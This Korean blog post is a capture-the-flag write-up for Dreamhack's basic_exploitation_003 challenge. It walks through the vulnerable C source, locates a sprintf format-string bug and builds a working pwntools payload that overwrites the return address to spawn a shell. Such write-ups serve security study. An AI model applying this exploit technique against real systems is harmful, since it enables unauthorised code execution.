일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 | 29 |
30 |
- off_by_one_000
- rev-basic-4
- out_of_bound
- sd카드 리더기
- rev-basic-2
- basic_exploitation_000
- L16
- CodeEngn
- Basic
- sint
- basic_exploitation_001
- rev-basic-1
- coin1
- Pwnable
- pwnable.kr
- L17
- off_by_one_001
- L18
- rev-basic-0
- L15
- RCE
- rev-basic-7
- 코드엔진 베이직
- rev-basic-5
- Dreamhack
- rev-basic-6
- 코드엔진 베이직 13
- rev-basic-3
- 드림핵
- 포너블
- Today
- Total
서브웨이
dreamhack basic_exploitation_003 풀이 본문
일단 RELRO가 적용되어있고 NX bit이 사용된것으로 보아 got를 임의의 주소로 덮어쓴다거나 쉘코드를 사용하는것은 어려워보입니다.
참고를 보면 결국엔 리턴 주소를 덮어쓰는 방향으로 풀어야할 것 같네요.
소스코드를 봅시다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}
힙에 있는 문자열에 read로 입력하고 그 문자열을 다시 스택에 있는 문자열에 복사하고 스택에 있는 문자열을 printf로 출력하는 문제인것 같습니다.
일단 read를 사용하는것을 보니 포맷스트링버그도 사용해야할듯 하네요.
그럼 포맷스트링버그를 사용해서 리턴주소를 덮어씌우는데... got는 사용불가하고 쉘코드도 아니고 힙 문자열 사이즈가 스택 문자열 사이즈보다 작으니....
read로 입력할때는 사이즈 제한이 있지만 sprintf에는 사이즈 제한이 없으니 이곳에서 포맷 스트링 버그를 발생시키면 BOF로 리턴주소를 덮어씌울 수 있을것 같습니다.
한번 확인해봅시다.
일단 +23을 보면 malloc의 결과, 즉 힙에 위치한 문자열의 주소값이 ebp-0x8부분에 저장되는것을 알 수 있습니다.
그리고 +26 ~ +44를 보면 ebp-0x98에서부터 시작해서 0x24번만큼 edi가 가리키는 값에 0을 써줍니다. 그럼 0x24 * 4 = 0x90이니 스택 문자열이 초기화되는 부분이라고 추측할 수 있습니다.
그럼 스택 문자열은 ebp-0x98에 위치한 것을 알 수 있습니다.
확인해보면 0xffffd0bc에 리턴할 주소가 저장되어있네요. 그럼 간단히 나머지 0x98 + 4, 즉 156바이트를 더미로 채우고 get_shell의 주소로 리턴 주소를 덮어 씌우면 될 것 같습니다.
get_shell의 주소는 0x8048669이니 페이로드를 짜보면 힙에 전달할 수 있는 입력의 길이가 제한되어있으므로 포맷스트링버그를 사용하여 %156c\x69\x86\x04\x08 를 보내면 될 것 같습니다.
익스플로잇 코드가 아주 간단합니다.
from pwn import *
p = process('./basic_exploitation_003')
payload = b'%156c\x69\x86\x04\x08'
p.send(payload)
p.interactive()
짜자잔
'Pwnable > dreamhack' 카테고리의 다른 글
dreamhack off_by_one_000 풀이 (0) | 2021.07.27 |
---|---|
dreamhack welcome 풀이 (0) | 2021.07.20 |
dreamhack basic_exploitation_002 풀이 (0) | 2021.07.20 |
dreamhack basic_exploitation_001 풀이 (0) | 2021.07.19 |
dreamhack basic_exploitation_000 풀이 (0) | 2021.07.19 |